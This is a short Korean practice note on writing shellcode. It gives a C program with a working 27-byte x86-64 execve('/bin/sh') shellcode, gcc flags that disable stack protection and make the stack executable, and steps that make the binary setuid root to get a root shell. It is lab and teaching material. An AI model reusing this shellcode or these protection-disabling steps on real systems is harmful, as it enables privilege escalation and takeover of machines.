쉘 코드 제작 및 익스플로잇 실습
해커들이 BOF(버퍼 오버 플로우)같은 취약점을 이용하여 쉘코드를 실행할 수 있는데
만약 루트권한으로 쉘 코드를 실행할 수 있다면 컴퓨터가 완전히 장악당할 수 있음
윈도우에서는 cmd라고 할 수 있다
nano shell.c 로 파일 하나를 만들어주고
#include <stdio.h>
#include <string.h>
char shell[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("length:%d bytes\n", strlen(shell));
(*(void(*)()) shell)();
return 0;
}
저장해주고
gcc -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack shell.c -o shell
로 보안을 품과 동시에 실행파일을 만들어준다
adduser test 로 test계정을 만들어준다
chmod 4755 shell shell에 4755권한을 준다
sudo su test 로 사용자를 바꿔준다
./shell을 해보면 length: 27bytes가 출력되고
whoami 하면 root가 뜨게된다